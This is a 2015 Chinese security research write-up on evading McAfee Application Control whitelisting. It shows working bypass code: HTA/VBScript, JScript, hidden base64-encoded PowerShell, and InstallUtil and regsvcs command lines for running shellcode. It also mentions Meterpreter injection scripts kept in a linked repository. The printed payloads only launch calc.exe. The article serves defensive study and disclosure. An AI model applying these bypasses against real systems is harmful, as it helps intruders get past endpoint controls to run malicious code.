作者:
三好學生
·
2015/12/07 12:09
0x00 前言
應用白名單(Application Whitelisting)是用來防止未認證程式執行的一個計算機管理實踐。它的目的是保護計算機和網路不受應用傷害。 McAfee Application Control作為其中比較有代表性的產品,使用動態的信任模型,避免了單調的人工更新許可清單工作。由於企業會面臨來自網路的大量未知軟體,因此這款可以集中管理的解決方案有助於及時控制系統安全策略,滿足企業的運營需求。
那麼,我們就試試看,究竟能不能繞過最新版的McAfee Application Control 6.2.0(截至投稿日期)

0x01 簡介

McAfee Application Control對常見檔案型別如exe、dll、bat作了限制,白名單外的這些檔案均無法執行。所以這次的目標就是繞過限制來執行檔案。
0x02 配置McAfee Application Control
作業系統:win7x86
1.下載McAfee Application Control
到http://www.mcafee.com/us/products/application-control.aspx填寫資訊並安裝
2.配置流程圖

3.Add the license
管理員許可權執行McAfee Solidifier 命令列
1.檢視許可證是否安裝
執行
sadmin license list
2.新增許可證
在McAfee_Application_Control_v6_2_0_License.txt中會有
執行
sadmin license add 2708-0108-1402-2208-0710
如圖

3.重啟服務Application Control service
執行
net stop scsrvc
net start scsrvc
4.Create the whitelist
1.建立白名單規則
執行
sadmin solidify
需要等待很長一段時間,為當前系統中的所有檔案建立規則,如果未新增許可證,該功能無法使用
2.檢視白名單狀態
執行
sadmin status
確保狀態為Solidified
如圖

5.Place Application Control in Enabled mode
1.開啟程式控制,禁止白名單以外的程式執行
執行
sadmin enable
如圖

重啟系統,重啟服務,執行
net stop scsrvc
net start scsrvc
2.檢視狀態
執行
sadmin status
確保McAfee Solidifier狀態為Enabled
重啟後如圖

3.測試
新建一些測試檔案
執行
sadmin list-unsolidified
檢視白名單以外的程式
如圖

執行
sadmin scripts list
檢視禁止執行的檔案型別
如圖

分別執行exe、bat、dll,均被限制,如圖


0x03 程式碼執行漏洞
1.難題
無法執行自己的程式
2.分析
根據白名單系統的特點,繞過的思路如下:
找到系統中的特定白名單程式
利用該程式執行程式碼
編寫程式碼使其執行我們自己的程式
找到系統中未被攔截的特定程式
利用該程式執行程式碼
編寫程式碼使其執行我們自己的程式
0x04 繞過方法
最終我們還是做到了:D
1.執行vbs
利用hta檔案
Tips:
hta是HTML Applications的縮寫,是利用HTML和Dynamic HTML(DHTML)開發應用程式
利用如下程式碼即可透過hta執行vbs
#!html
<HTML>
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
</script>
</HEAD>
<BODY>
</BODY>
</HTML>
如圖

然而並不完美,hta的介面會預設顯示,所以我們需要進一步修改來隱藏hta的主介面
加入屬性指定hta執行後最小化顯示,完整的程式碼如下
#!html
<HTML>
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD>
<BODY>
</BODY>
</HTML>
儲存為vbs.hta,執行如圖

2.執行jscript
jscript未被McAfee Application Control限制,因此可以被利用
如下程式碼儲存為calc.js
#!js
var objShell = new ActiveXObject("WScript.shell");
objShell.run('calc.exe');
執行成功,如圖

3.執行powershell
如果可以執行powershell程式碼,還擔心繞不過McAfee Application Control嗎?
當然,預設是肯定無法執行的,如圖

方法1:
將ps1檔案內容儲存為script.txt,然後進入Powershell環境執行如下程式碼:
Get-Content script.txt | iex
但是如果txt中含有函式,會產生如下錯誤,需要更改指令碼內容,錯誤如圖

方法2:
利用hta可以執行vbs,再用vbs執行Powershell
使用如下程式碼並儲存為vbs+ps.hta
#!html
<HTML>
<HEAD>
<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
WshShell.Run Connect, 4, true
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD>
<BODY>
</BODY>
</HTML>
執行後先呼叫vbs指令碼,再執行Powershell命令
方法3:
利用快捷方式執行Powershell
右鍵新建一個快捷方式,填入如下程式碼,並儲存為ps.lnk
powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==
如圖

執行快捷方式後執行Powershell命令,彈出計算器
方法4:
利用Powershell環境直接執行,簡單粗暴
cmd下執行Powershell.exe進入Powershell環境,然後在下面直接輸入所有命令即可
0x05 漏洞利用
目前我們已經可以在安裝McAfee Application Control的系統中執行vbs、jscript、Powershell,那麼利用上述方法可以實現什麼呢?
1.執行shellcode
方法1:
利用vbs,將shellcode轉為vbs,然後透過hta執行
參考地址:
http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/
方法2:
利用js
方法3:
利用Powershell
在之前的文章對透過Powershell執行shellcode有過詳細介紹,對其中的ps1檔案細節作簡單修改儲存為1-CodeExecution-Shellcode.ps1
進入Powershell環境,然後在裡面執行1-CodeExecution-Shellcode.ps1的所有內容
如圖

方法4:
利用InstallUtil
在之前的文章《利用白名單繞過限制的更多測試》對此有過詳細介紹
上傳shellcode.cs,執行如下命令:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /out:exeshell.exe Shellcode.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
如圖

方法5:
如果系統支援.net4.0,可以利用regsvcs
參考地址:
https://gist.github.com/subTee/fb09ef511e592e6f7993
上傳key.snk和regsvcs.cs,執行如下命令:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library
/out:regsvcs.dll /keyfile:key.snk regsvcs.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
2.執行exe
利用Powershell
在之前的文章對透過Powershell執行exe有過詳細介紹,對其中的ps1檔案細節作簡單修改儲存為2-CodeExecution-Exe.ps1
進入Powershell環境,然後在裡面執行2-CodeExecution-Exe.ps1的所有內容
如圖

3、載入dll
利用Powershell
在之前的文章對透過Powershell執行exe有過詳細介紹,對其中的ps1檔案細節作簡單修改儲存為3-CodeExecution-dll.ps1
進入Powershell環境,然後在裡面執行3-CodeExecution-dll.ps1的所有內容
如圖

4、注入meterpreter
利用Powershell
在之前的文章對透過Powershell執行exe有過詳細介紹,對其中的ps1檔案細節作簡單修改儲存為4-Process Injection-Meterpreter.ps1
進入Powershell環境,然後在裡面執行4-Process Injection-Meterpreter.ps1的所有內容
如圖

0x06 小結
我們成功在安裝McAfee Application Control的系統上執行了vbs、exe、dll以及注入meterpreter。
當然McAfee Application Control還有其他一些保護功能,我們的研究測試也不只如此。
注:
以下檔案可供下載
1-CodeExecution-Shellcode.ps1
2-CodeExecution-Exe.ps1
3-CodeExecution-dll.ps1
4-Process Injection-Meterpreter.ps1
calc.js
key.snk
ps.lnk
regsvcs.cs
Shellcode.cs
vbs+ps.hta
vbs.hta
下載地址:
https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution
參考連結:
- http://bsidesvienna.at/slides/2015/a_case_study_on_the_security_of_application_whitelisting.pdf
- https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/24000/PD24662/en_US/AppCtrl_BestPractices_Guide.pdf
- http://www.intel.com/content/dam/www/public/us/en/documents/guides/mcafee-application-control-product-guide.pdf
- http://subt0x10.blogspot.hk/2015/11/all-natural-organic-free-range.html
- http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/
- http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html
- https://gist.github.com/subTee/a06d4ae23e2517566c52
- https://gist.github.com/subTee/fb09ef511e592e6f7993
- https://social.technet.microsoft.com/Forums/scriptcenter/en-US/08cce717-38d0-4def-a5bf-e5b4a846a597/run-powershell-from-hta
本文由三好學生原創並首發於烏雲drops,轉載請註明
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!